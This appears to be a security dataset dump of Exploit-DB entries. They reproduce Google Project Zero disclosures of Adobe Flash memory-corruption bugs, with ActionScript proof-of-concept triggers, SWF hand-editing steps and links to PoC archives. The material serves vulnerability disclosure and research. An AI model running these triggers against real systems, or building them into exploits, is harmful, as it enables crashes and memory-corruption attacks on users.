deardaniel/secdata-raw huggingface dataset:
Exploit-DB #42783
Description: Adobe Flash - Out-of-Bounds Read in applyToRange
Type: dos
Platform: multiple
Date: 2017-09-25
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1323

The attached fuzzed file causes an out-of-bounds read in TextFormat.applyToRange.


Proof of Concept:
 
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42783.zip
Exploit-DB #42019
Description: Adobe Flash - Out-of-Bounds Read in Getting TextField Width
Type: dos
Platform: multiple
Date: 2017-05-17
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1211

The attached swf causes an out-of-bounds read in getting the width of a TextField.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42019.zip
Exploit-DB #39825
Description: Adobe Flash - Out-of-Bounds Read when Placing Object
Type: dos
Platform: multiple
Date: 2016-05-17
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=794

There is an out of bounds read when placing a corrupt image. This issue might be exploitable, depending on what is read.

A PoC is attached. To reproduce issue, put both files on a server, and load:

http://127.0.0.1/LoadImage.swf?img=70


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39825.zip
Exploit-DB #44529
Description: Adobe Flash - Out-of-Bounds Write in blur Filtering
Type: dos
Platform: multiple
Date: 2018-04-24
Author: Google Security Research

Exploit:
The attached swf file causes and out-of-bounds write in blur filtering.

This PoC crashes reliably in Firefox for Linux. 


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44529.zip
Exploit-DB #42782
Description: Adobe Flash - Out-of-Bounds Write in MP4 Edge Processing
Type: dos
Platform: multiple
Date: 2017-09-25
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1322

The attached fuzzed MP4 file causes an out-of-bounds memory access when played with Adobe Flash 


Proof of Concept:
 
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42782.zip
Exploit-DB #37882
Description: Adobe Flash - Overflow in ID3 Tag Parsing
Type: dos
Platform: multiple
Date: 2015-08-19
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=443&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

If an mp3 file contains compressed ID3 data that is larger than 0x2aaaaaaa bytes, an integer overflow will occur in allocating the buffer to contain its converted string data, leading to a large copy into a small buffer. A sample fla, swf and mp3 are attached. Put id34.swf and tag.mp3 in the same folder to reproduce the issue. This issue only works on 64 bit platforms.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37882.zip
Exploit-DB #39826
Description: Adobe Flash - Overflow in Processing Raw 565 Textures
Type: dos
Platform: multiple
Date: 2016-05-17
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=792

There is an overflow in the processing of raw 565 textures in ATF processing. 

To reproduce the issue, load the attach file '70' using LoadImage.swf as follows:

LoadImage.swf?img=70


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39826.zip
Exploit-DB #44527
Description: Adobe Flash - Overflow in Slab Rendering
Type: dos
Platform: multiple
Date: 2018-04-24
Author: Google Security Research

Exploit:
The attached fuzzed swf file causes heap or stack corruption (depending on platform) when rendering a slab.

This PoC crashes a little bit unreliably, it is the most reliable in the standalone Flash player and Microsoft Edge.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44527.zip
Exploit-DB #44526
Description: Adobe Flash - Overflow when Playing Sound
Type: dos
Platform: multiple
Date: 2018-04-24
Author: Google Security Research

Exploit:
The attached fuzzed swf file causes heap overflow when playing a sound.

This PoC crashes a little bit unreliably, it is the most reliable in the standalone Flash player and Microsoft Edge. 


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44526.zip
Exploit-DB #39426
Description: Adobe Flash - Processing AVC Causes Stack Corruption
Type: dos
Platform: multiple
Date: 2016-02-08
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=634

The attached mp4 file causes stack corruption in Flash. To run the test, load LoadMP42.swf?file=null.mp4 from a remote server.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39426-1.zip
Exploit-DB #37863
Description: Adobe Flash - scale9Grid Use-After-Free
Type: dos
Platform: multiple
Date: 2015-08-19
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=380&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a use-after-free issue if the scale9Grid setting is called on an object with a member that then frees display item. This issue occurs for both MovieClips and Buttons, it needs to be fixed in both classes.

A PoC is as follows:

var n = { valueOf : func };
var o = {x:n, y:0,width:10, height:10}

_global.mc = this
var newmc:MovieClip = this.createEmptyMovieClip("mymc",1)
mymc.scale9Grid = o


function func() {
	trace("here");
	var t = _global.mc.createTextField("test",1,1,1,2,3)
	t.removeTextField()
	return 7
}


A sample fla and swf is attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37863.zip
Exploit-DB #40307
Description: Adobe Flash - Selection.setFocus Use-After-Free
Type: dos
Platform: multiple
Date: 2016-08-29
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=841

There is a user-after-free in Selection.setFocus. It is a static method, but if it is called with a this object, it will be called on that object's thread. Then, if it calls into script, for example, by calling toString on the string parameter, the object, and its thread will be deleted, and a use-after-free occurs.

A minimal PoC follows:

var mc = this.createEmptyMovieClip( "mc", 1);
var f = Selection.setFocus;
mc.f = f;
mc.f({toString : func});

function func(){
	
	mc.removeMovieClip();
	
        // Fix heap here

	}

A sample SWF and fla are attached. This PoC crashes in Chrome on 64-bit Linux


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40307.zip
Exploit-DB #39831
Description: Adobe Flash - SetNative Use-After-Free
Type: dos
Platform: multiple
Date: 2016-05-17
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=800

There is a use-after-free in SetNative. If a watch is placed on a native that is initialized by SetNative, it can delete the object the set is being called on, leading to a use-after-free. A minimal PoC follows:

var t = this.createEmptyMovieClip("t", 1);
t.watch("a", func);
ASSetNative(t, 106, "a,b");
			
			
function func (){
	
	t.removeMovieClip();
	
	}

A swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39831.zip
Exploit-DB #37855
Description: Adobe Flash - Setting Value Use-After-Free
Type: dos
Platform: multiple
Date: 2015-08-19
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=360&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

In certain cases where a native AS2 class sets an internal atom to a value, it can lead to a use-after-free if the variable is a SharedObject. While this example shows setting NetConnection.uri, this issue occurs in several other 

A proof of concept is as follows:

var s = SharedObject.getLocal("test");

ASSetPropFlags(s, null, 0, 0xff);
ASSetPropFlags(s.data, null, 0, 0xff);
var q = {myprop  :"natalie", myprop2 : "test"};
var n = new NetConnection();

s.data.uri = q;
trace("uri " + s.data.uri);
s.flush();
ASnative(2100, 200)(s.data);

trace("uri " + s.data.uri);
n.connect.call(s.data, xx);
trace(s.data.uri);
s = 1;
var a = [];
var c = [];
for(i = 0; i < 200; i++){
	
	var b = new flash.display.BitmapData(1000, 1000, true, 10);
}

setInterval(f, 1000);

function f(){
	
	ASnative(252, 1).call(q); //Array push
	
	}

A fla, an AS file and two swfs are attached. slot.fla compiles to setnum.swf and contains the code that causes the use-after-free. loadswf.as compiles to loadswf.swf, and sets up the heap to cause a crash. To make the issue occur, put loadswf.swf and slot.swf in the same folder on a webserver (the PoCs don't always work locally due to flash network sandboxing), and load loadswf.swf. This PoC only works on 64-bit systems, but the issue would work on a 32-bit system with proper heap set-up. 

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37855.zip
Exploit-DB #39476
Description: Adobe Flash - SimpleButton Creation Type Confusion
Type: dos
Platform: multiple
Date: 2016-02-19
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=640

There is a type confusion vulnerability in the SimpleButton constructor. Flash stores an empty button to use to create buttons for optimization reasons. If this object is created using a SWF tag before it is created in the Button class, and it not of type Button, type confusion can occur.

A SWF needs to be altered in a hex editor to reproduce this issue. To start, build button.fla. This is a swf with the code:

var sb = new SimpleButton();

and a font attached. Decompress the swf using flasm -x button.swf, and then replace all occurrences of the font ID (0x0001) in the three tags that use it with the ID of the empty button object (0xfff6).  

When the button is created, the font will be type confused with a button.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39476.zip
Exploit-DB #39462
Description: Adobe Flash - Sound.loadPCMFromByteArray Dangling Pointer
Type: dos
Platform: multiple
Date: 2016-02-17
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=698

There is a dangling pointer that can be read, but not written to in loadPCMFromByteArray. A minimal PoC is as follows:

	var s = new Sound();
	var b = new ByteArray();
	for( var i = 0; i < 1600; i++){
		b.writeByte(1);
	}
	b.position = 0;
	s.loadPCMFromByteArray(b, 100, "float", false, 2.0);
	var c = new ByteArray();
	for(var i = 0; i < 2; i++){
			c.writeByte(1);	
	}
	c.position = 0;
	try{
		s.loadPCMFromByteArray(c, 1, "float", false, 2.0);
	}catch(e:Error){		
		trace(e.message);
	}
			
	var d = new ByteArray();
	s.extract(d, 1, 0);

The PoC first loads PCM bytes correctly, setting an internal pointer to them. It then loads PCM bytes again, with a specific array length that passes the array length check, but then causes a exception to be thrown when reading the byte array. This causes the pointer to the original PCM array to be deleted, but then the function exits due to an exception before the pointer is set again. If the exception is caught, the sound object containing the dangling pointer can be used again. The sound.extract method reads directly out of the location the dangling pointer points to.

A full PoC and swf are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39462.zip
Exploit-DB #40308
Description: Adobe Flash - Stage.align Setter Use-After-Free
Type: dos
Platform: multiple
Date: 2016-08-29
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=838

There is a use-after-free in the Stage.align property setter. When the setter is called, the parameter is converted to a string early, as a part of the new use-after-free prevention changes. This conversion can invoke script, which if the this object is a MovieClip, can delete the object, deleting the thread the call is made from, which can lead to a use-after-free.

A proof-of-concept is as follows:

this.createEmptyMovieClip("mc", 2);
var o = { toString : f };
mc.func = ASnative(666, 4); //Stage.align setter
mc.func(o);

function f(){
	
	trace("here");
	mc.removeMovieClip();
	for(var i = 0; i < 100; i++){	
		var t = new TextFormat(); // fill up the slots
		
		}
	}

A fla and swf are attached. The swf crashes in Chrome for Windows.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40308.zip
Exploit-DB #37871
Description: Adobe Flash - swapDepths Use-After-Free
Type: dos
Platform: multiple
Date: 2015-08-19
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=403&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a use-after-free in MovieClip.swapDepths, a POC is as follows:

var clip1 = this.createEmptyMovieClip("clip1", 1);
var clip2 = this.createEmptyMovieClip("clip2", 2);

var n = {valueOf: func, toString: func};

clip1.swapDepths(n);

function func(){
	
	clip1.removeMovieClip();
	//_root.createEmptyMovieClip("test", 1);
	
	trace("here");
	return "clip2";
	}

A swf and fla are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37871.zip
Exploit-DB #41421
Description: Adobe Flash - SWF Stack Corruption
Type: dos
Platform: multiple
Date: 2017-02-21
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1013

The attached fuzzed swf causes stack corruption when it is loaded, likely due to the parsing of the SWF file.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41421.zip
Exploit-DB #39461
Description: Adobe Flash - textfield Constructor Type Confusion
Type: dos
Platform: multiple
Date: 2016-02-17
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=701

There is a type confusion vulnerability in the TextField constructor in AS3. When a TextField is constructed, a generic backing object is created and reused when subsequent TextField objects are created. However, if an object with the same ID has already been created in the SWF, it can be of the wrong type. The constructor contains a check for this situation, though, and throws an exception and sets a flag to shut down the player if this occurs. The backing object is then set to be of type TextField to avoid any modifications that have been made on it by the constructor from causing problems if it is used as an object of its original type elsewhere in the player.

However, if the exception thrown by the constructor is caught, the exception handler can create another TextField object, and since the type of the generic backing object has been changed, an object of the wrong type is now backing the TextField, which makes it possible to set the pointers in the object to integer values selected by the attacker.

The PoC swf for this issue needs to be created by hand. The original swf code is:

try{

     var t = new TextField();

} catch(e:Error){

     var t2 = new TextField();
     t2.gridFitType;

}

Then in the swf, a backing object of a different type with ID 0xfff9 is created, which causes the first constructor call to fail, and the second to cause type confusion.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39461.zip
Exploit-DB #37877
Description: Adobe Flash - textfield.gridFitType Use-After-Free
Type: dos
Platform: multiple
Date: 2015-08-19
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=418&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a use-after-free in the TextField gridFitType setter. A PoC is below:

var test = this.createTextField("test", 1, 0, 0, 100, 100);
var n = {toString : func, valueOf : func};
test.gridFitType = n;

function func(){
	
	test.removeTextField();
	for(var i = 0; i < 1000; i++){
		var b = new flash.display.BitmapData(1000, 1000, true, 10);
		}
	trace("here");
	return "natalie";
	
	}

A PoC and fla are attached. Some other setters (thickness, tabIndex, etc.) are also impacted by the same UaF condition, additional SWFs are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37877.zip
Exploit-DB #39650
Description: Adobe Flash - textfield.maxChars Use-After-Free
Type: dos
Platform: multiple
Date: 2016-04-01
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=581

There is a use-after-free in the TextField.maxChars setter. If the maxChars the field is set to is an object with valueOf defined, the valueOf function can free the field's parent object, which is then used. A minimal PoC is as follows:

var times = 0;
var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.maxChars = {valueOf : func};

function func(){

        if (times == 0){
            times++;
            return 7;
        }
	mc.removeMovieClip();

        // Fix heap here

	return 7;
	
	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39650.zip
Exploit-DB #40355
Description: Adobe Flash - Transform.colorTranform Getter Infomation Leak
Type: dos
Platform: multiple
Date: 2016-09-08
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=845

There is an info leak in the Transform.colorTranform getter. If the constructor for ColorTransform is overwritten with a getter using addProperty, this getter will execute when fetching the constructor, which can then free the MovieClip containing the Tranform.

A minimal PoC is as follows:

this.createEmptyMovieClip( "mc", 1);
var c = new ColorTransform( 77, 88, 99, 0.5, 1, 2, 3, 4);
var t:Transform = new Transform( mc );
t.colorTransform = c;
this.createTextField( "tf", 2, 0, 0, 2000, 200);
var ct = ColorTransform;
var g = flash.geom;
g.addProperty("ColorTransform", func, func);
var q = t.colorTransform;
tf.text = q.greenMultiplier + "\n" + q.blueMultiplier + "\n" + q.color;

function func(){
	
	mc.removeMovieClip();
	
	return ct;
	
	}


A sample swf and fla are attached. The PoC prints the value of unallocated memory to the screen.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40355.zip
Exploit-DB #39829
Description: Adobe Flash - Type Confusion in FileReference Constructor
Type: dos
Platform: multiple
Date: 2016-05-17
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=799

There is a type confusion issue in the FileReference constructor. The constructor adds several properties to the constructed object before setting the type and data. If a watch is set on one of these properties, code can be called and the object can be initialized to one with a destructor before the FileReference constructor sets the object data, leading to type confusion when the object is garbage collected.

A minimal PoC is as follows:

function myfunc(){
			
			this.__proto__ = {};
			this.__proto__.__constructor__ = flash.display.BitmapData;
			super(1000, 1000);
			
			
			}
			

	function mysubclass(){
		

		this.watch("name", myfunc);
		_global.ASnative(2204, 200)(this); // FileReference constructor
		this.unwatch("name"); // let the reference free
		
		}
	}

        var a = new subclass();
        a = 0;
        // wait for GC


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39829.zip
Exploit-DB #38969
Description: Adobe Flash - Type Confusion in IExternalizable.readExternal When Performing Local Serialization
Type: dos
Platform: multiple
Date: 2015-12-14
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=548

If IExternalizable.readExternal is overridden with a value that is not a function, Flash assumes it is a function even though it is not one. This leads to execution of a 'method' outside of the ActionScript object's ActionScript vtable, leading to memory corruption.

A sample swf is attached. ActionScript code is also attached, but it does not compile to the needed to swf. To get the PoC, decompress the swf using flasm -x myswf, and then search for "teadExternal" and change it to "readExternal".


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38969.zip
Exploit-DB #38970
Description: Adobe Flash - Type Confusion in Serialization with ObjectEncoder.dynamicPropertyWriter
Type: dos
Platform: multiple
Date: 2015-12-14
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=545

There is a type confusion issue during serialization if ObjectEncoder.dynamicPropertyWriter is overridden with a value that is not a function.

In the following ActionScript:

		flash.net.ObjectEncoding.dynamicPropertyWriter = new subdpw();
		var b = new ByteArray();
		var a = {};
		a.test = 1;
		b.writeObject(a);

The object 'a' with a dynamic property 'test' is serialized using a custom dynamicPropertyWriter of class subpwd. However this class overrides writeDynamicProperties with a property that is not a function leading to type confusion (note that this is not possible in the compiler, the bytecode needs to be modified manually).

To reproduce the issue, load objectencoding.swf. PoC code is also attached. To use this code, compile the swf, and decompress it (for example, using flasm -x), and then search for the string "triteDocumentProperties" in the SWF and change it to "writeDocumentProperties".


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38970.zip